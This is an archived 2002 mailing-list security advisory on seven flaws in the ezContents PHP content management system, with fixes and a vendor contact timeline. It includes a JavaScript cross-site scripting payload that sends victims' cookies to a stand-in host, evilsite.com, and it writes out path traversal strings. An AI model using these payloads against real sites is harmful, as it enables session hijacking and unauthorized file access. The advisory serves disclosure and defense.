

[VulnWatch] ezContents multiple vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2002-07/0043.html>

From: Ulf Harnhammar (ulfh@update.uu.se)

Date: 07/25/02

Date: Thu, 25 Jul 2002 16:00:25 +0200 (CEST)

From: Ulf Harnhammar <ulfh@update.uu.se>

To: bugtraq@securityfocus.com

ezContents multiple vulnerabilities

PROGRAM: ezContents

VENDOR: Marek Lyczba et al. <info@visualshapers.com>

HOME PAGE: <http://www.visualshapers.com/>

VULNERABLE VERSIONS: 1.40, 1.41, possibly others as well

NOT VULNERABLE VERSIONS: none (one hole fixed in 1.41)

LOGIN REQUIRED: yes (some issues), no (some issues)

SEVERITY: high

DESCRIPTION:

"ezContents is a Web site content management system based on PHP and MySQL. Features include maintaining menus and sub-menus, adding authors that can write contents, permissions, work flow, and simple settings to customise layout and the look of the site. It is possible to integrate external scripts, and frames as well frameless Web site designs are supported."

(direct quote from the program's project page at Freshmeat)

According to the downloaded package, ezContents is released under the terms of the GNU General Public License. According to the program's homepage, it is released under the GNU General Public License with some additional clauses, one which states that you have to ask permission before using the program commercially. (Does the GPL really allow you to add additional clauses?)

SECURITY HOLES:

1) The image file upload function allows uploads to occur, without checking if the four global variables with information about an upload (file, file_name, file_size and file_type) really were set by uploading a file or if they were normal POST data. This means that it can be fooled into treating any file that the web server can read (like /etc/passwd) as the uploaded file.

VulnWatch: [VulnWatch] ezContents multiple vulnerabilities

You fix this by using PHP's `is_uploaded_file()` function, which checks if a real upload has taken place.

This issue was corrected in ezContents 1.41.

2) Maintain Images:Add New:Create Subdirectory can create directories outside of the ezContents directory, by using directory names like `"../../../../../../../../tmp/hellothere"`.

3) The administrative scripts `createdir.php`, `removedir.php` and `uploadfile.php` don't check if you're logged in or not. This means that an attacker can create/remove directories and upload files to the server by POSTing data to the right script with no need for a username or a password.

4) Maintain Images' file listing can be fooled into listing directories outside of the ezContents directory, if you use directory names like `"../../../../usr/bin"`. It only lists certain types of files, though.

5) The `VerifyLogin()` function redirects the web browser, if the login fails. It doesn't stop the program's execution. This means that the script still runs, just that you don't see it. Equipped with this knowledge, an attacker without a username can edit lots of different information by simply POSTing data to the right script, and view lots of different information equipped with a tool like netcat.

6) ezContents has got some Cross-Site Scripting issues, in the diary and other places. One user can enter some JavaScript code, which will be executed when another user looks at that entry. This can be used for stealing someone's cookies:

```
<script>self.location.href="http://evilsite.com/evil?"+  
escape(document.cookie)</script>
```

You fix this with the `htmlspecialchars()` function.

7) Finally, there are some SQL Injection issues. They are of the simple type where you don't really have to inject anything, because the programmer didn't put apostrophes around the input variables in the SQL statements.

COMMUNICATION WITH VENDOR:

The vendor was contacted on the 6th of June and on the 5th of July. They are working on fixing these holes, but so far, only issue 1 above has been fixed.

```
// Ulf Harnhammar  
ulfh@update.uu.se
```

VulnWatch: [VulnWatch] ezContents multiple vulnerabilities

- **Previous message:** NGSSoftware Insight Security Research: "[VulnWatch] Microsoft SQL Server 2000 Unauthenticated System Compromise (#NISR25072002)"
- **Messages sorted by:** [date] [thread] [subject] [author] [attachment]